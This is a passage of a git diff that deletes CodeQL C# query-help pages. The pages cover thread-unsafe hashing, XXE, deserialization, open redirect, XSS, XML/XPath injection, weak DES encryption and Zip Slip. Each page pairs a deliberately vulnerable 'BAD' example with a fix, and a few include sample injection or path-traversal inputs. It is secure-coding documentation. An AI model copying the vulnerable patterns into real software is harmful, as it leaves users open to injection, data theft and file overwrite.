Microsoft would write a class that implements `ICryptoTransform`, and even if they do, it is likely that they will follow the same common pattern as the existing classes implementing this interface. - -Any object that implements `System.Security.Cryptography.ICryptoTransform` should not be used in concurrent threads as the instance members of such object are also not thread safe. - -Potential problems may not be evident at first, but can range from explicit errors such as exceptions, to incorrect results when sharing an instance of such an object in multiple threads. - - -## Recommendation -If the object is shared across instances, you should consider changing the code to use a non-static object of type `System.Security.Cryptography.ICryptoTransform` instead. - -As an alternative, you could also look into using `ThreadStatic` attribute, but make sure you read the initialization remarks on the documentation. - - -## Example -This example demonstrates the dangers of using a static `System.Security.Cryptography.ICryptoTransform` in a way that generates incorrect results. - - -```csharp -internal class TokenCacheThreadUnsafeICryptoTransformDemo -{ - private static SHA256 _sha = SHA256.Create(); - - public string ComputeHash(string data) - { - byte[] passwordBytes = UTF8Encoding.UTF8.GetBytes(data); - return Convert.ToBase64String(_sha.ComputeHash(passwordBytes)); - } -} - -class Program -{ - static void Main(string[] args) - { - int max = 1000; - Task[] tasks = new Task[max]; - - Action action = (object obj) => - { - var unsafeObj = new TokenCacheThreadUnsafeICryptoTransformDemo(); - if (unsafeObj.ComputeHash((string)obj) != "ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0=") - { - Console.WriteLine("**** We got incorrect Results!!! ****"); - } - }; - - for (int i = 0; i < max; i++) - { - // hash calculated on all threads should be the same: - // ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0= (base64) - // - tasks[i] = Task.Factory.StartNew(action, "abc"); - } - - Task.WaitAll(tasks); - } -} - -``` -A simple fix is to change the `_sha` field from being a static member to an instance one by removing the `static` keyword. - - -```csharp -internal class TokenCacheThreadUnsafeICryptoTransformDemoFixed -{ - // We are replacing the static SHA256 field with an instance one - // - //private static SHA256 _sha = SHA256.Create(); - private SHA256 _sha = SHA256.Create(); - - public string ComputeHash(string data) - { - byte[] passwordBytes = UTF8Encoding.UTF8.GetBytes(data); - return Convert.ToBase64String(_sha.ComputeHash(passwordBytes)); - } -} - -class Program -{ - static void Main(string[] args) - { - int max = 1000; - Task[] tasks = new Task[max]; - - Action action = (object obj) => - { - var safeObj = new TokenCacheThreadUnsafeICryptoTransformDemoFixed(); - if (safeObj.ComputeHash((string)obj) != "ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0=") - { - Console.WriteLine("**** We got incorrect Results!!! ****"); - } - }; - - for (int i = 0; i < max; i++) - { - // hash calculated on all threads should be the same: - // ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0= (base64) - // - tasks[i] = Task.Factory.StartNew(action, "abc"); - } - - Task.WaitAll(tasks); - } -} - -``` - -## References -* Microsoft documentation, [ThreadStaticAttribute Class](https://docs.microsoft.com/en-us/dotnet/api/system.threadstaticattribute?view=netframework-4.7.2). -* Stack Overflow, [Why does SHA1.ComputeHash fail under high load with many threads?](https://stackoverflow.com/questions/26592596/why-does-sha1-computehash-fail-under-high-load-with-many-threads). -* Common Weakness Enumeration: [CWE-362](https://cwe.mitre.org/data/definitions/362.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md b/docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md deleted file mode 100644 index 8060d9a8f7e..00000000000 --- a/docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md +++ /dev/null @@ -1,96 +0,0 @@ -# Thread-unsafe capturing of an ICryptoTransform object - -``` -ID: cs/thread-unsafe-icryptotransform-captured-in-lambda -Kind: problem -Severity: warning -Precision: medium -Tags: concurrency security external/cwe/cwe-362 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Likely%20Bugs/ThreadUnsafeICryptoTransformLambda.ql) - -Classes that implement `System.Security.Cryptography.ICryptoTransform` are not thread safe. - -This problem is caused by the way these classes are implemented using Microsoft CAPI/CNG patterns. - -For example, when a hash class implements this interface, there would typically be an instance-specific hash object created (for example using `BCryptCreateHash` function). This object can be called multiple times to add data to the hash (for example `BCryptHashData`). Finally, a function is called that finishes the hash and returns the data (for example `BCryptFinishHash`). - -Allowing the same hash object to be called with data from multiple threads before calling the finish function could potentially lead to incorrect results. - -For example, if you have multiple threads hashing `"abc"` on a static hash object, you may occasionally obtain the results (incorrectly) for hashing `"abcabc"`, or face other unexpected behavior. - -It is very unlikely somebody outside Microsoft would write a class that implements `ICryptoTransform`, and even if they do, it is likely that they will follow the same common pattern as the existing classes implementing this interface. - -Any object that implements `System.Security.Cryptography.ICryptoTransform` should not be used in concurrent threads as the instance members of such object are also not thread safe. - -Potential problems may not be evident at first, but can range from explicit errors such as exceptions, to incorrect results when sharing an instance of such an object in multiple threads. - - -## Recommendation -Create new instances of the object that implements or has a field of type `System.Security.Cryptography.ICryptoTransform` to avoid sharing it accross multiple threads. - - -## Example -This example demonstrates the dangers of using a shared `System.Security.Cryptography.ICryptoTransform` in a way that generates incorrect results or may raise an exception. - - -```csharp -public static void RunThreadUnSafeICryptoTransformLambdaBad() -{ - const int threadCount = 4; - // This local variable for a hash object is going to be shared across multiple threads - var sha1 = SHA1.Create(); - var b = new Barrier(threadCount); - Action start = () => { - b.SignalAndWait(); - for (int i = 0; i < 1000; i++) - { - var pwd = Guid.NewGuid().ToString(); - var bytes = Encoding.UTF8.GetBytes(pwd); - // This call may fail, or return incorrect results - sha1.ComputeHash(bytes); - } - }; - var threads = Enumerable.Range(0, threadCount) - .Select(_ => new ThreadStart(start)) - .Select(x => new Thread(x)) - .ToList(); - foreach (var t in threads) t.Start(); - foreach (var t in threads) t.Join(); -} - -``` -A simple fix is to change the local variable `sha1` being captured by the lambda to be a local variable within the lambda. - - -```csharp -public static void RunThreadUnSafeICryptoTransformLambdaFixed() -{ - const int threadCount = 4; - var b = new Barrier(threadCount); - Action start = () => { - b.SignalAndWait(); - // The hash object is no longer shared - for (int i = 0; i < 1000; i++) - { - var sha1 = SHA1.Create(); - var pwd = Guid.NewGuid().ToString(); - var bytes = Encoding.UTF8.GetBytes(pwd); - sha1.ComputeHash(bytes); - } - }; - var threads = Enumerable.Range(0, threadCount) - .Select(_ => new ThreadStart(start)) - .Select(x => new Thread(x)) - .ToList(); - foreach (var t in threads) t.Start(); - foreach (var t in threads) t.Join(); -} - -``` - -## References -* Microsoft documentation, [ThreadStaticAttribute Class](https://docs.microsoft.com/en-us/dotnet/api/system.threadstaticattribute?view=netframework-4.7.2). -* Stack Overflow, [Why does SHA1.ComputeHash fail under high load with many threads?](https://stackoverflow.com/questions/26592596/why-does-sha1-computehash-fail-under-high-load-with-many-threads). -* Common Weakness Enumeration: [CWE-362](https://cwe.mitre.org/data/definitions/362.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UncontrolledFormatString.md b/docs/language/query-help/csharp/UncontrolledFormatString.md deleted file mode 100644 index 616c29cdd42..00000000000 --- a/docs/language/query-help/csharp/UncontrolledFormatString.md +++ /dev/null @@ -1,47 +0,0 @@ -# Uncontrolled format string - -``` -ID: cs/uncontrolled-format-string -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-134 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-134/UncontrolledFormatString.ql) - -Passing untrusted format strings to `String.Format` can throw exceptions and cause a denial of service. For example, if the format string references a missing argument, or an argument of the wrong type, then `System.FormatException` is thrown. - - -## Recommendation -Use a string literal for the format string to prevent the possibility of data flow from an untrusted source. This also helps to prevent errors where the arguments to `String.Format` do not match the format string. - -If the format string cannot be constant, ensure that it comes from a secure data source or is compiled into the source code. - - -## Example -In this example, the format string is read from an HTTP request, which could cause the application to crash. - - -```csharp -using System.Web; - -public class HttpHandler : IHttpHandler -{ - string Surname, Forenames, FormattedName; - - public void ProcessRequest(HttpContext ctx) - { - string format = ctx.Request.QueryString["nameformat"]; - - // BAD: Uncontrolled format string. - FormattedName = string.Format(format, Surname, Forenames); - } -} - -``` - -## References -* OWASP: [Format string attack](https://www.owasp.org/index.php/Format_string_attack). -* Microsoft docs: [String.Format Method](https://docs.microsoft.com/en-us/dotnet/api/system.string.format) -* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md b/docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md deleted file mode 100644 index 4323b3903d6..00000000000 --- a/docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md +++ /dev/null @@ -1,60 +0,0 @@ -# Deserialization of untrusted data - -``` -ID: cs/unsafe-deserialization-untrusted-input -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-502 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-502/UnsafeDeserializationUntrustedInput.ql) - -Deserializing an object from untrusted input may result in security problems, such as denial of service or remote code execution. - - -## Recommendation -Avoid deserializing objects from an untrusted source, and if not possible, make sure to use a safe deserialization framework. - - -## Example -In this example, text from an HTML text box is deserialized using a `JavaScriptSerializer` with a simple type resolver. Using a type resolver means that arbitrary code may be executed. - - -```csharp -using System.Web.UI.WebControls; -using System.Web.Script.Serialization; - -class Bad -{ - public static object Deserialize(TextBox textBox) - { - JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver()); - // BAD - return sr.DeserializeObject(textBox.Text); - } -} - -``` -To fix this specific vulnerability, we avoid using a type resolver. In other cases, it may be necessary to use a different deserialization framework. - - -```csharp -using System.Web.UI.WebControls; -using System.Web.Script.Serialization; - -class Good -{ - public static object Deserialize(TextBox textBox) - { - JavaScriptSerializer sr = new JavaScriptSerializer(); - // GOOD - return sr.DeserializeObject(textBox.Text); - } -} - -``` - -## References -* Muñoz, Alvaro and Mirosh, Oleksandr: [JSON Attacks](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf). -* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UntrustedDataInsecureXml.md b/docs/language/query-help/csharp/UntrustedDataInsecureXml.md deleted file mode 100644 index 17907d33a59..00000000000 --- a/docs/language/query-help/csharp/UntrustedDataInsecureXml.md +++ /dev/null @@ -1,45 +0,0 @@ -# Untrusted XML is read insecurely - -``` -ID: cs/xml/insecure-dtd-handling -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-611 external/cwe/cwe-827 external/cwe/cwe-776 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-611/UntrustedDataInsecureXml.ql) - -XML documents can contain Document Type Definitions (DTDs), which may define new XML entities. These can be used to perform Denial of Service (DoS) attacks, or resolve to resources outside the intended sphere of control. - - -## Recommendation -When processing XML documents, ensure that DTD processing is disabled unless absolutely necessary, and if it is necessary, ensure that a secure resolver is used. - - -## Example -The following example shows an HTTP request parameter being read directly into an `XmlTextReader`. In the current version of the .NET Framework, `XmlTextReader` has DTD processing enabled by default. - - -```csharp -public class XMLHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - // BAD: XmlTextReader is insecure by default, and the payload is user-provided data - XmlTextReader reader = new XmlTextReader(ctx.Request.QueryString["document"]); - ... - } -} - - -``` -The solution is to set the `DtdProcessing` property to `DtdProcessing.Prohibit`. - - -## References -* OWASP: [XML External Entity (XXE) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html). -* Microsoft Docs: [System.XML: Security considerations](https://msdn.microsoft.com/en-us/library/system.xml.xmlreadersettings(v=vs.110).aspx#Anchor_6). -* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html). -* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html). -* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UrlRedirect.md b/docs/language/query-help/csharp/UrlRedirect.md deleted file mode 100644 index 97ae42aa9c9..00000000000 --- a/docs/language/query-help/csharp/UrlRedirect.md +++ /dev/null @@ -1,50 +0,0 @@ -# URL redirection from remote source - -``` -ID: cs/web/unvalidated-url-redirection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-601/UrlRedirect.ql) - -Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. - - -## Recommendation -To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks. It also shows how to remedy the problem by validating the user input against a known fixed string. - - -```csharp -using System; -using System.Web; - -public class UnvalidatedUrlHandler : IHttpHandler -{ - private const String VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html"; - - public void ProcessRequest(HttpContext ctx) - { - // BAD: a request parameter is incorporated without validation into a URL redirect - ctx.Response.Redirect(ctx.Request.QueryString["page"]); - - // GOOD: the request parameter is validated against a known fixed string - if (VALID_REDIRECT == ctx.Request.QueryString["page"]) - { - ctx.Response.Redirect(VALID_REDIRECT); - } - } -} - -``` - -## References -* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Microsoft Docs: [Preventing Open Redirection Attacks (C#)](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks). -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UseOfFileUpload.md b/docs/language/query-help/csharp/UseOfFileUpload.md deleted file mode 100644 index 1da1060b453..00000000000 --- a/docs/language/query-help/csharp/UseOfFileUpload.md +++ /dev/null @@ -1,27 +0,0 @@ -# Use of file upload - -``` -ID: cs/web/file-upload -Kind: problem -Severity: recommendation -Precision: high -Tags: security maintainability frameworks/asp.net external/cwe/cwe-434 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Input%20Validation/UseOfFileUpload.ql) - -Allowing end users to upload files may lead to severe security threats. Attackers may use this open door to compromise your application, either by overwriting data or by injecting malicious code to run on your server. - - -## Recommendation -Whist it might not be possible to remove the ability to upload files, special care should be taken to ensure files are handled in a secure manner. The following checks should be implemented to ensure the security of your application: - -* Validate each path where the uploaded data is written to. -* Check the content of the data being uploaded without just relying on the MIME type. -* Set a size limit for the uploaded data. -* Do not run your web application with administrator privileges. -* Log each upload request. -* Do not display system information or exception in case the upload fails as this information may help attackers to find a breach. - -## References -* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ValueShadowing.md b/docs/language/query-help/csharp/ValueShadowing.md deleted file mode 100644 index 682d99a844b..00000000000 --- a/docs/language/query-help/csharp/ValueShadowing.md +++ /dev/null @@ -1,53 +0,0 @@ -# Value shadowing - -``` -ID: cs/web/ambiguous-client-variable -Kind: problem -Severity: warning -Precision: medium -Tags: security maintainability frameworks/asp.net - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Input%20Validation/ValueShadowing.ql) - -Relying on `HttpRequest` to provide access to a particular client variable is not safe. The `HttpRequest` class implements an indexer to provide a simplified, combined access to its `QueryString`, `Form`, `Cookies`, or ` ServerVariables` collections, in that particular order. When searching for a variable, the first match is returned: `QueryString` parameters hence supersede values from forms, cookies and server variables, and so on. This is a serious attack vector since an attacker could inject a value in the query string that you do not expect, and which supersedes the value of a more trusted collection. - - -## Recommendation -Explicitly restrict the search to one of the `QueryString`, `Form` or `Cookies` collections. - - -## Example -In this example an attempt has been made to prevent cross site request forgery attacks by comparing a cookie set by the server with a form variable sent by the user. The problem is that if the user did not send a form variable called `csrf` then the collection will fall back to using the cookie value, making it look like a forged request was initiated by the user. - - -```csharp -class ValueShadowing -{ - public bool checkCSRF(HttpRequest request) - { - string postCSRF = request["csrf"]; - string cookieCSRF = request.Cookies["csrf"]; - return postCSRF.Equals(cookieCSRF); - } -} - -``` -This can be easily fixed by explicitly specifying that we are looking for a form variable. - - -```csharp -class ValueShadowingFix -{ - public bool checkCSRF(HttpRequest request) - { - string postCSRF = request.Form["csrf"]; - string cookieCSRF = request.Cookies["csrf"]; - return postCSRF.Equals(cookieCSRF); - } -} - -``` - -## References -* MSDN: [HttpRequest.Item](http://msdn.microsoft.com/en-us/library/system.web.httprequest.item(v=VS.100).aspx). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ValueShadowingServerVariable.md b/docs/language/query-help/csharp/ValueShadowingServerVariable.md deleted file mode 100644 index 20c80671e1d..00000000000 --- a/docs/language/query-help/csharp/ValueShadowingServerVariable.md +++ /dev/null @@ -1,52 +0,0 @@ -# Value shadowing: server variable - -``` -ID: cs/web/ambiguous-server-variable -Kind: problem -Severity: warning -Precision: medium -Tags: security maintainability frameworks/asp.net - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Input%20Validation/ValueShadowingServerVariable.ql) - -Relying on `HttpRequest` to provide access to a particular server variable is not safe as it can be overridden by the client. The `HttpRequest` class implements an indexer to provide a simplified, combined access to its `QueryString`, `Form` , `Cookies`, or ` ServerVariables` collections, in that particular order. When searching for a variable, the first match is returned: `QueryString` parameters hence supersede values from forms, cookies and server variables, and so on. This is a serious attack vector since an attacker could inject a value in the query string that you do not expect, and which supersedes the value of the server variable you were actually trying to check. - - -## Recommendation -Explicitly restrict the search to the `ServerVariables` collection. - - -## Example -In this example the server attempts to ensure the user is using an HTTPS connection. Because the programmer used the `HttpRequest` indexer, URLs like ` http://www.example.org/?HTTPS=ON` appear to be from a secure connection even though they are not. - - -```csharp -class ValueShadowingServerVariable -{ - public bool isHTTPS(HttpRequest request) - { - String https = request["HTTPS"]; - return https == "ON"; - } -} - -``` -This can be easily fixed by explicitly specifying that we are looking for a server variable. - - -```csharp -class ValueShadowingServerVariableFix -{ - public bool isHTTPS(HttpRequest request) - { - String https = request.ServerVariables["HTTPS"]; - return https == "ON"; - } -} - -``` - -## References -* MSDN: [HttpRequest.Item](http://msdn.microsoft.com/en-us/library/system.web.httprequest.item(v=VS.100).aspx). -* MSDN: [IIS Server Variables](http://msdn.microsoft.com/en-us/library/ms524602.aspx). \ No newline at end of file diff --git a/docs/language/query-help/csharp/WeakEncryption.md b/docs/language/query-help/csharp/WeakEncryption.md deleted file mode 100644 index e4538433f3f..00000000000 --- a/docs/language/query-help/csharp/WeakEncryption.md +++ /dev/null @@ -1,45 +0,0 @@ -# Weak encryption - -``` -ID: cs/weak-encryption -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/WeakEncryption.ql) - -Weak encryption algorithms provide very little security. For example DES encryption uses keys of 56 bits only, and no longer provides sufficient protection for sensitive data. TripleDES should also be deprecated for very sensitive data: Although it improves on DES by using 168-bit long keys, it provides in fact at most 112 bits of security. - - -## Recommendation -You should switch to a more secure encryption algorithm, such as AES (Advanced Encryption Standard) and use a key length which is reasonable for the application for which it is being used. - - -## Example -This example uses DES, which is limited to a 56-bit key. The key provided is actually 64 bits but the last bit of each byte is turned into a parity bit. For example the bytes 01010101 and 01010100 can be used in place of each other when encrypting and decrypting. - - -```csharp -class WeakEncryption -{ - public static byte[] encryptString() - { - SymmetricAlgorithm serviceProvider = new DESCryptoServiceProvider(); - byte[] key = { 16, 22, 240, 11, 18, 150, 192, 21 }; - serviceProvider.Key = key; - ICryptoTransform encryptor = serviceProvider.CreateEncryptor(); - - String message = "Hello World"; - byte[] messageB = System.Text.Encoding.ASCII.GetBytes(message); - return encryptor.TransformFinalBlock(messageB, 0, messageB.Length); - } -} - -``` - -## References -* Wikipedia: [Key Size](http://en.wikipedia.org/wiki/Key_size) -* Wikipedia: [DES](http://en.wikipedia.org/wiki/Data_Encryption_Standard) -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/XMLInjection.md b/docs/language/query-help/csharp/XMLInjection.md deleted file mode 100644 index ec46a8f0bb7..00000000000 --- a/docs/language/query-help/csharp/XMLInjection.md +++ /dev/null @@ -1,83 +0,0 @@ -# XML injection - -``` -ID: cs/xml-injection -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-091 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-091/XMLInjection.ql) - -The APIs provided by the .NET libraries for XML manipulation allow the insertion of "raw" text at a specified point in an XML document. If user input is passed to this API, it could allow a malicious user to add extra content that could corrupt or supersede existing content, or enable unintended additional functionality. - - -## Recommendation -Avoid using the `WriteRaw` method on `System.Xml.XmlWriter` with user input. If possible, use the high-level APIs to write new XML elements to a document, as these automatically escape user content. If that is not possible, then user input should be escaped before being included in a string that will be used with the `WriteRaw` API. - - -## Example -In this example, user input is provided describing the name of an employee to add to an XML document representing a set of names. The `WriteRaw` API is used to write the new employee record to the XML file. - - -```csharp -using System; -using System.Security; -using System.Web; -using System.Xml; - -public class XMLInjectionHandler : IHttpHandler { - public void ProcessRequest(HttpContext ctx) { - string employeeName = ctx.Request.QueryString["employeeName"]; - - using (XmlWriter writer = XmlWriter.Create("employees.xml")) - { - writer.WriteStartDocument(); - - // BAD: Insert user input directly into XML - writer.WriteRaw("" + employeeName + ""); - - writer.WriteEndElement(); - writer.WriteEndDocument(); - } - } -} -``` -However, if a malicious user were to provide the content `Bobby PagesHacker1`, they would be able to add an extra entry into the XML file. - -The corrected version demonstrates two ways to avoid this issue. The first is to escape user input before passing it to the `WriteRaw` API, which prevents a malicious user from closing or opening XML tags. The second approach uses the high level XML API to add XML elements, which ensures the content is appropriately escaped. - - -```csharp -using System; -using System.Security; -using System.Web; -using System.Xml; - -public class XMLInjectionHandler : IHttpHandler { - public void ProcessRequest(HttpContext ctx) { - string employeeName = ctx.Request.QueryString["employeeName"]; - - using (XmlWriter writer = XmlWriter.Create("employees.xml")) - { - writer.WriteStartDocument(); - - // GOOD: Escape user input before inserting into string - writer.WriteRaw("" + SecurityElement.Escape(employeeName) + ""); - - // GOOD: Use standard API, which automatically encodes values - writer.WriteStartElement("Employee"); - writer.WriteElementString("Name", employeeName); - writer.WriteEndElement(); - - writer.WriteEndElement(); - writer.WriteEndDocument(); - } - } -``` - -## References -* Web Application Security Consortium: [XML Injection](http://projects.webappsec.org/w/page/13247004/XML%20Injection). -* Microsoft Docs: [WriteRaw](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmlwriter.writeraw?view=netframework-4.8). -* Common Weakness Enumeration: [CWE-91](https://cwe.mitre.org/data/definitions/91.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/XPathInjection.md b/docs/language/query-help/csharp/XPathInjection.md deleted file mode 100644 index aa3fc0baf56..00000000000 --- a/docs/language/query-help/csharp/XPathInjection.md +++ /dev/null @@ -1,64 +0,0 @@ -# XPath injection - -``` -ID: cs/xml/xpath-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-643 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-643/XPathInjection.ql) - -If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression. - - -## Recommendation -If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input. - -When using the `System.Xml.XPath` API, this can be done by creating a custom subtype of `System.Xml.Xsl.XsltContext`, and implementing `ResolveVariable(String,?String)` to return the user provided data. This custom context can be specified for a given `XPathExpression` using `XPathExpression.SetContext()`. For more details, see the "User Defined Functions and Variables" webpage in the list of references. - - -## Example -In the first example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. - -In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely replaced at runtime using a custom `XsltContext` that looks up the variables in an `XsltArgumentList`. - - -```csharp -using System; -using System.Web; -using System.Xml.XPath; - -public class XPathInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string userName = ctx.Request.QueryString["userName"]; - - // BAD: Use user-provided data directly in an XPath expression - string badXPathExpr = "//users/user[login/text()='" + userName + "']/home_dir/text()"; - XPathExpression.Compile(badXPathExpr); - - // GOOD: XPath expression uses variables to refer to parameters - string xpathExpression = "//users/user[login/text()=$username]/home_dir/text()"; - XPathExpression xpath = XPathExpression.Compile(xpathExpression); - - // Arguments are provided as a XsltArgumentList() - XsltArgumentList varList = new XsltArgumentList(); - varList.AddParam("userName", string.Empty, userName); - - // CustomContext is an application specific class, that looks up variables in the - // expression from the varList. - CustomContext context = new CustomContext(new NameTable(), varList) - xpath.SetContext(context); - } -} - -``` - -## References -* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). -* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). -* MSDN: [User Defined Functions and Variables](https://msdn.microsoft.com/en-us/library/dd567715.aspx). -* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/XSS.md b/docs/language/query-help/csharp/XSS.md deleted file mode 100644 index 7ad48a9947b..00000000000 --- a/docs/language/query-help/csharp/XSS.md +++ /dev/null @@ -1,43 +0,0 @@ -# Cross-site scripting - -``` -ID: cs/web/xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-079/XSS.ql) - -Directly writing user input (for example, an HTTP request parameter) to a webpage, without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. - - -## Example -The following example shows the page parameter being written directly to the server error page, leaving the website vulnerable to cross-site scripting. - - -```csharp -using System; -using System.Web; - -public class XSSHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - ctx.Response.Write( - "The page \"" + ctx.Request.QueryString["page"] + "\" was not found."); - } -} - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ZipSlip.md b/docs/language/query-help/csharp/ZipSlip.md deleted file mode 100644 index e80bebde05e..00000000000 --- a/docs/language/query-help/csharp/ZipSlip.md +++ /dev/null @@ -1,78 +0,0 @@ -# Arbitrary file write during zip extraction ("Zip Slip") - -``` -ID: cs/zipslip -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-022/ZipSlip.ql) - -Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. - -Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. - - -## Recommendation -Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. - -The recommended way of writing an output file from a zip archive entry is to: - -1. Use `Path.Combine(destinationDirectory, archiveEntry.FullName)` to determine the raw output path. -1. Use `Path.GetFullPath(..)` on the raw output path to resolve any directory traversal elements. -1. Use `Path.GetFullPath(destinationDirectory + Path.DirectorySeparatorChar)` to determine the fully resolved path of the destination directory. -1. Validate that the resolved output path `StartsWith` the resolved destination directory, aborting if this is not true. -Another alternative is to validate archive entries against a whitelist of expected files. - - -## Example -In this example, a file path taken from a zip archive item entry is combined with a destination directory. The result is used as the destination file path without verifying that the result is within the destination directory. If provided with a zip file containing an archive path like `..\sneaky-file`, then this file would be written outside the destination directory. - - -```csharp -using System.IO; -using System.IO.Compression; - -class Bad -{ - public static void WriteToDirectory(ZipArchiveEntry entry, - string destDirectory) - { - string destFileName = Path.Combine(destDirectory, entry.FullName); - entry.ExtractToFile(destFileName); - } -} - -``` -To fix this vulnerability, we need to make three changes. Firstly, we need to resolve any directory traversal or other special characters in the path by using `Path.GetFullPath`. Secondly, we need to identify the 